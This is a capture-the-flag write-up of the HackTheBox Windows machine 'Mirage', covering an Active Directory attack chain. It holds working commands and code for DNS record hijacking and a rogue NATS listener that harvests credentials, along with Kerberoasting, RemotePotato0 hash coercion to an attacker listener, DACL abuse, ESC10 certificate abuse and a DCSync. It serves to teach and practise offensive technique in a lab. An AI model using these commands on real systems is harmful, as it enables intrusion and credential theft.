HTB: Mirage Writeup

Mirage - HackTheBox Writeup

Machine Information

AttributeDetails
NameMirage
OSWindows
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Mirage is a hard Windows Active Directory box gated entirely behind Kerberos — NTLM is disabled domain-wide, so every foothold and lateral move has to go through krb5 ticket handling instead of the usual pass-the-hash shortcuts. The chain opens on an anonymously-mountable NFS export leaking internal pentest reports, pivots through an insecure Dynamic DNS update to stand up a rogue NATS server, harvests credentials out of the resulting client CONNECT handshake and an NATS JetStream auth_logs stream, Kerberoasts a service account for the initial WinRM foothold, steals a second user’s NetNTLMv2 hash out of a concurrent RDP-style console session via RemotePotato0, abuses IT_SUPPORT DACL rights to revive a disabled account, reads a gMSA password, and finally lands Domain Admin through an ADCS ESC10 certificate-mapping abuse.

TL;DR: Anonymous NFS → insecure DNS update → rogue NATS listener steals Dev_Account_A creds → NATS auth_logs stream leaks david.jjackson → Kerberoast nathan.aadam → WinRM foothold (user.txt) → RemotePotato0 cross-session hash theft on mark.bbond → IT_SUPPORT DACL abuse re-enables javier.mmarshall → gMSA Mirage-Service$ NTLM read → ESC10 UPN-mapping abuse impersonates a privileged account → DCSync (root.txt).


Reconnaissance

Port Scanning

Terminal window
# Windows AD DC — Kerberos, LDAP, DNS, plus the two interesting off-the-shelf services
nmap -sC -sV -T4 -p- 10.10.11.X

Results (key ports):

PortServiceNotes
53DNSDomain nameserver for mirage.htb
88KerberosConfirms Domain Controller
111/2049rpcbind/NFSAnonymous export present
135/139/445RPC/SMBNTLM disabled — Kerberos-only
389/636/3268/3269LDAP/LDAPS/GCStandard AD
464kpasswdPassword-change service
4222NATSNon-default — internal messaging bus exposed externally
5985WinRMKerberos auth only

The combination of Kerberos + LDAP + DNS immediately flags this as a DC. The two services that don’t belong on a stock DC — NFS (2049) and NATS (4222) — are the box’s actual attack surface; everything else is just normal AD plumbing.

Service Enumeration

Terminal window
# Anonymous NFS export enumeration
showmount -e mirage.htb
# Export list for mirage.htb:
# /MirageReports (everyone)
mkdir MirageReports
sudo mount -t nfs -o rw,vers=3 mirage.htb:/MirageReports MirageReports
ls MirageReports

The export contained pentest-style PDF reports. Reviewing them surfaced two critical findings the “internal pentest” had flagged but the environment never remediated:

  1. A missing DNS A record for nats-svc.mirage.htb (the hostname the NATS clients expect to resolve).
  2. The DNS zone’s Dynamic Updates setting is Nonsecure and secure — meaning unauthenticated clients can add or overwrite records.

Vulnerability Assessment

  • Anonymous NFS export — no sec= restriction, readable by anyone.
  • Insecure Dynamic DNS Updates — no authentication required to add zone records (misconfiguration, not a CVE).
  • NATS server trusts DNS blindly — clients resolve nats-svc.mirage.htb and connect without pinning a host key/cert, so whoever owns that DNS name owns the “server” side of the handshake.

Initial Foothold

Exploitation Path

Step 1 — Weaponize the insecure DNS update.

Terminal window
# Point the missing nats-svc record at our own attacker box
nsupdate
> server 10.10.11.X
> zone mirage.htb
> update add nats-svc.mirage.htb 10 A 10.10.15.180
> send

Because the zone accepts unauthenticated updates, this silently redirects every NATS client on the domain toward our IP the next time they resolve nats-svc.mirage.htb. This works because Windows DNS’s Nonsecure and secure dynamic update mode does not distinguish between “authenticated AD-integrated client” and “anonymous host on the wire” for that setting — it just accepts the update.

Step 2 — Stand up a rogue NATS listener.

The stock nats-server redacts the pass field from its CONNECT log output, so instead of chasing that (or fighting a packet capture the way the standard approach does), a small raw Python TCP listener on port 4222 was used to log the entire CONNECT frame verbatim before any NATS protocol logic strips it:

# tiny NATS-protocol-aware listener — logs the raw CONNECT payload unredacted
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("0.0.0.0", 4222))
s.listen(5)
print("[*] rogue nats-svc listener up")
while True:
conn, addr = s.accept()
print(f"[+] connection from {addr}")
conn.sendall(b'INFO {"server_id":"rogue","version":"2.11.4","proto":1,"auth_required":true}\r\n')
data = conn.recv(65535)
print(data.decode(errors="replace")) # full CONNECT JSON, password included
conn.close()

The client’s CONNECT handshake arrived with credentials in the clear:

CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,...}

This works because NATS clients authenticate at the protocol layer on first connect, before any TLS or mutual verification is negotiated — there’s nothing binding the DNS name to a specific server identity, so redirecting the name is enough to become “the server” from the client’s perspective.

Step 3 — Pivot the harvested creds into the real NATS server and read its streams.

Terminal window
# Point nats-svc back at the real DC now that we have creds, and query it directly
nats -s nats://mirage.htb:4222 stream ls --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
# auth_logs stream present
nats -s nats://mirage.htb:4222 stream view -a --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
# {"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

JetStream streams persist historical messages, so auth_logs acted as an unintentional credential archive — every auth event an internal service ever logged to that subject was still replayable.

Step 4 — Kerberoast for a WinRM-capable account.

With david.jjackson valid domain creds (verified over Kerberos, since NTLM is disabled), BloodHound-style enumeration surfaced nathan.aadam as SPN-registered (Kerberoastable):

Terminal window
impacket-GetUserSPNs -dc-ip 10.10.11.X -dc-host dc01.mirage.htb -k -request \
-user NATHAN.AADAM 'mirage.htb/david.jjackson:pN8kQmn6b86!1234@'
# $krb5tgs$23$*nathan.aadam$MIRAGE.HTB$...
john --wordlist=/usr/share/wordlists/rockyou.txt nathan_hash
# 3edc#EDC3 (nathan.aadam)

Kerberoasting works because any authenticated domain principal can request a service ticket for any SPN-registered account, and that ticket is encrypted with the service account’s NTLM hash (RC4/etype 23) — crackable fully offline once exported.

Step 5 — WinRM foothold.

Since NTLM is disabled, WinRM auth has to go over Kerberos:

Terminal window
# Build a krb5.conf pointing at the realm, request a TGT, then hand the ccache to evil-winrm-py
export KRB5_CONFIG=Mirage.conf
impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3'
export KRB5CCNAME=nathan.aadam.ccache
evil-winrm-py -i 10.10.11.X -k
# nathan.aadam@MIRAGE.HTB session established

user.txt captured on nathan.aadam’s desktop.


Privilege Escalation

Cross-session NetNTLMv2 theft (mark.bbond)

Enumeration from the WinRM shell found mark.bbond had an active console session alongside nathan.aadam’s. RemotePotato0 abuses the DCOM/RPC OXID resolver to coerce that other logged-on session into authenticating back to an attacker-controlled listener, leaking its NetNTLMv2 response:

Terminal window
# Load RunasCs to confirm the concurrent session
Invoke-RunasCs -Username <lowpriv> -Password <pw> -LogonType 9 -Command qwinsta
# mark.bbond console Active

Port 135 was already held by another engagement on the redirector, so instead of a plain listener, a source-scoped iptables DNAT hairpin was used to redirect the DCOM callback traffic to the actual RemotePotato0 listener port without clobbering the box’s existing 135 usage:

Terminal window
# DNAT rule scoped to the target's source IP only — hairpins its 135 traffic to our real listener port
sudo iptables -t nat -A PREROUTING -s 10.10.11.X -p tcp --dport 135 -j DNAT --to-destination 127.0.0.1:9999
Terminal window
.\RemotePotato0.exe -m 2 -s 1 -x 10.10.15.180 -p 9999
# [+] User hash stolen!
# mark.bbond::MIRAGE:...:...:0101000000000000...
Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash
# 1day@atime (mark.bbond)

This works because DCOM activation requests from an already-logged-on session will authenticate to whatever endpoint claims the OXID resolver role — RemotePotato0 impersonates that role locally and forces the victim session to hand over a crackable NetNTLMv2 blob instead of a full ticket.

DACL abuse: reviving javier.mmarshall

mark.bbond is a member of IT_SUPPORT, which holds extended rights over the disabled javier.mmarshall account: User-Force-Change-Password, WriteProperty on User-Account-Control, and WriteProperty on Logon-Hours. All three were required, not just the password reset — the account was disabled and its logon-hours were empty:

Terminal window
# Kerberos ticket for mark.bbond, then abuse each right in turn
impacket-getTGT mirage.htb/mark.bbond:'1day@atime'
export KRB5CCNAME=mark.bbond.ccache
# 1) Force-change the password (User-Force-Change-Password extended right)
# 2) Clear the ACCOUNTDISABLE bit (WriteProperty on userAccountControl)
# 3) Set logonHours to 0xFF (all hours) — otherwise auth still fails outside the allowed window

A disabled account with a freshly-reset password still can’t authenticate — userAccountControl’s ACCOUNTDISABLE flag has to be cleared explicitly, and an empty logonHours attribute silently blocks Kerberos pre-auth even when the account is enabled. IT_SUPPORT’s three separate ACEs map exactly onto the three blockers.

gMSA password read

With javier.mmarshall alive, BloodHound-style ACL review showed the account holds ReadProperty on msDS-ManagedPassword for the gMSA Mirage-Service$ — meaning it can read that service account’s current, AD-managed NTLM hash directly out of LDAP, no cracking required (gMSA passwords are 240-byte random blobs, not crackable in practice).

ESC10 (Case 2) — certificate mapping abuse to Domain Admin

The Mirage-Service$ gMSA itself holds WriteProperty over the Public-Information property set on mark.bbond — which covers userPrincipalName. Combined with the CA’s configuration (UPN mapping enabled, Certificate Binding set to Compatibility rather than Full Enforcement), this is a textbook ESC10 Case 2 condition from the Certified Pre-Owned research: when explicit altSecurityIdentities mapping is absent, Schannel/PKINIT falls back to matching the certificate’s UPN against a user’s userPrincipalName attribute — not the immutable objectSid.

Terminal window
# As Mirage-Service$, rewrite mark.bbond's UPN to collide with a privileged account's UPN
# (Public-Information WriteProperty covers userPrincipalName)
# mark.bbond already holds ordinary enrollment rights on a client-auth template, so request
# a certificate as mark.bbond while its UPN is pointed at the privileged account:
certipy-ad req -u 'mark.bbond@mirage.htb' -p '1day@atime' -k \
-ca 'mirage-DC01-CA' -template 'User' -dc-ip 10.10.11.X
# Authenticate with the resulting cert — the KDC/Schannel maps by UPN (weak binding),
# so this session lands as the privileged account instead of mark.bbond
certipy-ad auth -pfx mark_bbond.pfx -dc-ip 10.10.11.X

Because the CA is not enforcing strong (SID-based) certificate mapping, authenticating with this certificate resolves to whichever account’s UPN was collided into mark.bbond’s attribute — granting a session as a Domain Admin-equivalent principal. From there:

Terminal window
# Domain Admin equivalent session → dump the domain
impacket-secretsdump -k -no-pass mirage.htb/administrator@dc01.mirage.htb -just-dc

root.txt captured via the DCSync’d session.


Attack Chain Summary

Anonymous NFS mount (/MirageReports)
→ pentest PDFs reveal missing nats-svc DNS record + insecure dynamic updates
→ nsupdate: hijack nats-svc.mirage.htb → attacker IP
→ rogue Python NATS listener captures Dev_Account_A creds (unredacted CONNECT)
→ NATS auth_logs JetStream stream leaks david.jjackson creds
→ Kerberoast nathan.aadam (SPN HTTP/exchange.mirage.htb) → cracked offline
→ WinRM foothold as nathan.aadam → user.txt
→ mark.bbond has concurrent console session
→ RemotePotato0 (DCOM/OXID coercion, iptables DNAT hairpin around busy port 135)
→ mark.bbond NetNTLMv2 → cracked offline
→ IT_SUPPORT DACL abuse: force password + clear ACCOUNTDISABLE + set logonHours=0xFF
→ javier.mmarshall revived → reads Mirage-Service$ gMSA NTLM hash
→ Mirage-Service$ WriteProperty(Public-Information) rewrites mark.bbond's UPN
→ ESC10 Case 2: weak cert-to-account UPN mapping → cert auths as privileged account
→ DCSync → root.txt

Tools Used

ToolPurpose
nmapPort/service discovery
showmount / mount (NFS)Anonymous NFS export enumeration
nsupdate / digInsecure Dynamic DNS record injection & verification
Custom Python listenerUnredacted NATS CONNECT credential capture
nats (natscli)NATS account/stream enumeration and JetStream replay
Impacket (GetUserSPNs, getTGT, secretsdump)Kerberoasting, TGT requests, final DCSync
johnOffline cracking of Kerberoast hash and NetNTLMv2 hash
evil-winrm-pyKerberos-authenticated WinRM shell
RunasCs / PowerShellSession enumeration (qwinsta)
RemotePotato0DCOM/OXID-based cross-session NetNTLMv2 theft
iptables (DNAT)Source-scoped port-135 hairpin around a conflicting listener
certipy-adESC10 certificate request/auth abuse

Key Learnings

Techniques Practiced

  • Anonymous NFS enumeration for lateral intel (leaked internal pentest reports)
  • Insecure Dynamic DNS update abuse to hijack internal service discovery
  • Rogue service impersonation to capture credentials in cleartext protocol handshakes
  • NATS server/CLI enumeration, including JetStream stream replay as a credential-archive attack surface
  • Kerberos-only environment operations (krb5.conf, ccache, -k throughout)
  • Kerberoasting and offline TGS cracking
  • Cross-session credential theft via DCOM/RPC coercion (RemotePotato0)
  • Active Directory DACL abuse chained across three distinct extended rights/attributes
  • gMSA password disclosure via LDAP read rights
  • ADCS ESC10 (weak certificate-to-account mapping) abuse to impersonate a privileged principal

Lessons Learned

  1. “Auth_required”: true does not mean “server identity verified.” NATS (and similar pub/sub protocols) authenticate the client to the server, but nothing here verified the server to the client — owning DNS resolution was enough to become a trusted endpoint.
  2. DNS dynamic update settings deserve the same scrutiny as any other unauthenticated write primitive. Nonsecure and secure on an AD-integrated zone is effectively “anyone can rewrite service discovery.”
  3. Disabling an account doesn’t erase the DACL rights that point at it. javier.mmarshall being disabled didn’t matter once IT_SUPPORT’s three separate write rights were exercised in sequence.
  4. Concurrent sessions are a live attack surface, not just a debugging inconvenience. A held console session is exactly the trigger RemotePotato0-style coercion needs.
  5. ESC10’s Case 2 shows why UPN-based certificate mapping is dangerous whenever ANY account has write access to another’s userPrincipalName. Full Enforcement mode (SID-based binding) exists precisely to close this gap.

References

  • 0xEr3bus, “Mirage” — HackTheBox Writeup (10 Nov 2025) — used here for conceptual explanation of insecure Dynamic DNS Updates, NATS server/CLI mechanics, the IT_SUPPORT DACL chain, and the ESC10 Case 2 certificate-mapping mechanism. All IPs, credentials, command output, and tooling choices above are from this run’s own solve, not the reference.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>